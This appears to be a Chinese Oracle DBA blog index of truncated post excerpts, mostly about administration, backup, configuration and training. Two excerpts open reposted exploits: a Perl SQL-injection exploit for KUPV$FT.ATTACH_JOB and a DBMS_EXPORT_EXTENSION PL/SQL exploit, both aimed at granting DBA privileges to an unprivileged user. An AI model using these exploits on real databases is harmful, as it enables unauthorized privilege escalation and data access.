oracle concept
oracle concept[@more@]Components of a databaseFilesAfter having installed Oracle and created a database, you'll find the following (types of) files on the server: control file --控制文件init.ora --初始化参数文件(At least up to 8i, that is. With 9i, it could also be a spfile data files --数据文件Those are actually the files that keep the data in the database. After all, it is a database. online redo log --重做日志文件InstanceAdditionally, when the instance is started, there will be some Oracle pr
[转自]IBM与MySQL由竞争转为合作
[转自]2007.04.28 来自:linux.chinaunix.netIBM与MySQL由竞争转为合作[@more@]4月26日消息,IBM公司日前宣布,计划开始销售竞争对手MySQL的数据库软件,后者为一家开放资源数据库软件制造商,主要用于网页平台,用户包括雅虎、Google以及YouTu be等全球著名网站。 据路透社报道,作为世界第二大软件制造商,在本周三美国加州圣塔·克拉拉举办的 MySQL用户会议上,IBM公司领导携手MySQL宣布了合作计划。目前MySQL公司为私营性质,主要开发标准化版本的MySQL开放资源数据库,公司的盈利主要来自于服务、升级、技术支持以及维护等项目。
where is my instance_name?
到底instance_name在哪里呢?设置在那里?[@more@]select instance_name from v$instance_name;show parameter instance_name;select name,value from v$parameter where name='instance_name';显示的都是test,最早的spfile;test.__db_cache_size=96468992test.__java_pool_size=4194304test.__large_pool_size=4194304test.__shared_pool_size=58720256test.__streams_pool_size=0*.audit_file_dest='D:oracleproduct10.2.0/admin/test/adump'*.background_dump_dest='D:oracleproduct10.2.0/admin/test/bdump'*.compatible='10.2.0.1.0'*.
oracle 自己修改字符集过程
oracle 自己修改字符集过程[@more@]Sat Apr 28 21:03:25 2007alter database character set INTERNAL_CONVERT ZHS16GBKSat Apr 28 21:03:42 2007Updating character set in controlfile to ZHS16GBKSynchronizing connection with database character set information SYS.METASTYLESHEET (STYLESHEET) - CLOB representation altered SYS.ATTRIBUTE_TRANSFORMATIONS$ (XSL_TRANSFORMATION) - CLOB representation altered SYS.RULE$ (CONDITION) - CLOB representation altered SYS.SCHEDULER$_EVENT_LOG (ADDITIONAL_INFO) - CLOB repre
双机dataguad备份容灾实施
双机dataguad备份容灾实施,慢慢完成[@more@]FAL_CLIENTParameter typeStringSyntaxFAL_CLIENT =stringDefault valueThere is no default value.Parameter classDynamic:ALTER SYSTEMFAL_CLIENT specifies the FAL (fetch archive log) client name that is used by theFAL service, configured through theFAL_SERVER parameter, to refer to the FALclient. The value is an Oracle Net service name, which is assumed to be configuredproperly on the FAL server system to point to the FAL client (standby database).Given the dep
国外公司的Oracle DBA试题,你都会了吗?
国外公司的Oracle DBA试题,你都会了吗?涉及oracle,还有几个关于unix操作方面的[@more@]国外公司的Oracle DBA试题Oracle DBA Interview Questions By B G1. How many memory layers are in the shared pool?##library cache,row (dict ) cache,some fixed variable2. How do you find out from the RMAN catalog if a particular archive log has been backed-up?##list backup of archivelog like3. How can you tell how much space is left on a given file system and how much space each of the file system's subdirectories take-u
开发DBA的工作
开发DBA的工作,你会了吗?[@more@]当然,有些公司根本就没有谁叫做DBA的,都是随便安装个oracle,能够用java,或者c进行开发就完了根本不会什么归档啊, 数据优化啊, 还有就是会exp,imp导些表就完事的了,其他的会用pl/sql developer建表啊,写存储过程啊还有就是能用 toad 就查不多了,其他的oracle方面要求相对较少的
oracle management server SYSMAN密码丢失怎么办?
OMS oracle management server SYSMAN密码丢失怎么办?[@more@]使用如下脚本$oracle_home/sysman/admin/vduresetSysman.sqlrem -------------------------------------------------------------------remrem NAMErem resetSysman.sqlremrem Copyright (c) 1997, 1999 by Oracle Corporationremrem FUNCTIONrem Script for resetting the superuser passwordremrem NOTESrem This script should be run from the Enterprise Managerrem Master account.remrem MODIFICATIONrem $Log: $rem rem 1 8/28/98 9:25a Ndutkorem Initial entryremre
nid dbnewid工具使用
nid dbnewid工具使用[@more@]SQL> conn sys@test as sysdba;输入口令:已连接。SQL> show userUSER 为 "SYS"SQL> select dbid,name from v$database;DBID NAME---------- ---------1919087634 TESTSQL> select instance_name,host_name ,version from v$instance;INSTANCE_N HOST_NAME VERSION---------- ---------- -----------------test XP 10.2.0.1.0C:>nid target=sys/*********@test dbname=test10gDBNEWID: Release 10.2.0.1.0 - Production on 星期四 4月 26 19:49:25 2007Copyright (c) 1982, 2005, Ora
快速找出top执行的sql语句
快速找出top执行的sql语句[@more@]SELECT saddr,paddr,sid,serial#,PREV_SQL_ADDR,PREV_HASH_VALUE,SQL_HASH_VALUEFROM V$SESSION select SQL_TEXT,SORTS,FETCHES,EXECUTIONS,LOADS,DISK_READS,BUFFER_GETS,ROWS_PROCESSED,OPTIMIZER_MODE,CPU_TIME,ADDRESS from V$SQL select sql_text,cpu_time,address,hash_valuefrom v$sqlwhere (address,hash_value) in (select sql_address,sql_hash_value from v$session s,v$process pwhere s.paddr=p.addrand p.spid='&pid' )--对应到系统的进程ID号,win下的线程,linux下的真实PID号 sele
RAID 磁盘冗余阵列
RAID 磁盘冗余阵列(Redunant Array of Inexpensive Disk)[@more@]RAID 磁盘冗余阵列,主要是利用一台 磁盘阵列控制器,来统一管理和控制一组(几台或几十台)磁盘驱动器,组成一个高度可靠的,快速的大容量磁盘系统.为提高对磁盘访问速度,在大中型应用,使用交叉存取(Interleave)技术应用到磁盘存储系统中.主要应用:RAID0 --纯粹的条带RAID1 --用一半的磁盘拿来做image copy ,所以空间利用不高RAID5,独立传输功能的磁盘阵列,每个驱动器都各自有独立的数据通道,独立进行读写,且没有专门的校验盘,用来纠错的校验信息是以螺旋(Spiral)方式散步在所有
oracle常用管理工具笔记
oracle常用管理工具笔记[@more@]oracle安装工具OUI(Oracle Universal Install)2. 数据库配置助手(Database Configuration Assistant)用于建立数据库,配置数据库选项,删除数据库和管理模板.也可以直接使用DBCA命令开始.3. OEM数据库控制工具当安装oracle database 10g数据库产品时,OUI会安装基于Web页面的数据库管理工具-----Oracle Enterprise Manager Database Control.该工具时Oracle Database 10g新增的管理工具,DBA不仅可以使用该工具执行各种管理任务(启动例程,关闭例程,建立和删除数据库用户,建立和删除数据库对象,备份和恢复数据库
9i ocp 培训内容精要
OCP考试而开设的9i ocp 培训内容精要[@more@]针对OCP考试而开设的,课程设置如下:*1Z0-007 Introduction to Oracle9i SQL*1Z0-031 Oracle9i DBA Fundamentals I*1Z0-032 Oracle9i DBA Fundamentals II*1Z0-033 Oracle9i Performance Tuning*1Z0-007 Introduction to Oracle9i SQLOracle9i SQL 引论 2张光盘编写基本的SQL SELECT语句数据的限 制和排序单行功能从多个数据库显示数据使用组合函数整合数据子查询用iSQL*Plus产生可读的输出数据管理表的生成与管理包含限 制条件生成视图生成其他数据库对象控制用户的访问定义和描述垃圾
oracle cursor sql injection
Oracle 10g KUPV$FT.ATTACH_JOB SQL Injection Exploit v2[@more@]#Oracle 10g KUPV$FT.ATTACH_JOB SQL Injection Exploit v2 #来源:http://rawlab.mindcreations.com 作者:Andrea 发布时间:2007-02-27 #!/usr/bin/perl## Remote Oracle KUPV$FT.ATTACH_JOB exploit (10g)# - Version 2 - New "evil cursor injection" tip!# - No "create procedure" privileg needed!# - See: http://www.databasesecurity.com/ (Cursor Injection)## Grant or revoke dba permission to unprivileged user# # Tested on
ORACLE O day exploit
零DAY攻击漏洞[@more@]Oracle <= 10g Release 2 (DBMS_EXPORT_EXTENSION) Local SQL Exploit| 来源:www.vfocus.net 作者:N1V1Hd 发布时间:2006-04-27 /* 0day, description is wrong. /str0ke *//** Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0** Patch your database now!** by N1V1Hd $3c41r3**/CREATE OR REPLACEPACKAGE MYBADPACKAGE AUTHID CURRENT_USERISFUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3VARCHAR2,p4 VARCHAR2,env SYS.odcienv)RETURN NUMBER;END;/CREATE OR REPLACE PACKA
ORACLE 手动创建数据库实例分析
手工创建有助于深入理解其中过程[@more@]创建实例服务,口令文件等设置环境变量ORACLE_HOME和ORACLE_SIDoradimorapwd工具编辑init<sid>文件,注意配置db_name,db_block_size大小,以及control_files>conn sys/pwd@<sid> as sysdba; >startup nomount pfile=指定参数文件;>create database testmaxdatafiles 10maxinstances 5maxlogfiles 10controlfile reuselogfilegroup 1 'd:oracleoradatatestredo01.log' size 50M reuse,group 2 'd:oracleoradatatestredo02.log' size 50M reusedatafile'd:oracleoradatatestsys
ORACLE 10G 安装数据库 代码分析,使用backup包恢复数据文件方式
ORACLE 10G 安装数据库 代码分析[@more@]set echo off;set serveroutput on;select TO_CHAR(systimestamp,'YYYYMMDD HH:MI:SS') from dual;variable devicename varchar2(255);declareomfname varchar2(512) := NULL; done boolean; begin dbms_output.put_line(' '); dbms_output.put_line(' Allocating device.... '); dbms_output.put_line(' Specifying datafiles... '); :devicename := dbms_backup_restore.deviceAllocate; dbms_output.put_line(' Specifing datafiles... '); dbms_backup_restore.restore
oracle 一些常用的DBA管理操作命令
oracle 一些常用的DBA管理操作命令[@more@]行命令建立用户:CREATE USER 用户名 INDENTIFIED BY 口令 == OPS$UserName INDENTIFIED EXTERNALLY 系统集成帐号 DEFAULT TABLESPACE 表空间名 TEMPORARY TABLESPACE 表空间名 QUOTA 整数 K/M ON 表空间名 //分配表空间大小 UNLIMITED PROFILE 环境文件名语句结束一般使用 “;”来表示结束标记Name:用户名Password Authentication:用户密码OS Authentication:操作系统识别方式,设
oracle 培训手册
oracle 培训内容概要[@more@]第一部分: Oracle 体系结构1. Oracle关系数据库管理系统 什么是关系数据库(RDBMS) 数据库按规模和用途分类 关系数据库管理系统的核心任务 Oracle 关系数据库的体系结构 Oracle磁盘资源结构 Oracle使用内存和CPU:Oracle服务器实例结构 数据库对象类型及一些基本概念 操做Oracle数据库的工具 数据库操作员的主要工作2. Oracle分布式数据库配置3. 配置Oracle管理服务器:Oracle Management Server 4. 练习 上机试验:察看Oracle系统重要磁盘文件结构 (观察与讨论) 上机试验:连接数据库及管理工具的使用 在O
Archive Log 学习笔记
Archive Log 学习笔记[@more@]Archive Log 学习笔记 1、启用和停用archivelogC:Documents and SettingsAdministrator>sqlplus "/ as sysdba" SQL*Plus: Release 9.0.1.0.1 - Production on 星期日 7月 23 23:48:19 2006 (c) Copyright 2001 Oracle Corporation. All rights reserved. 连接到: Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production With the Partitioning option JServer Release 9.0.1.1.1 - Production archive">sys@oralocal>archive log list ——此处是显示当前的归档模式 数据库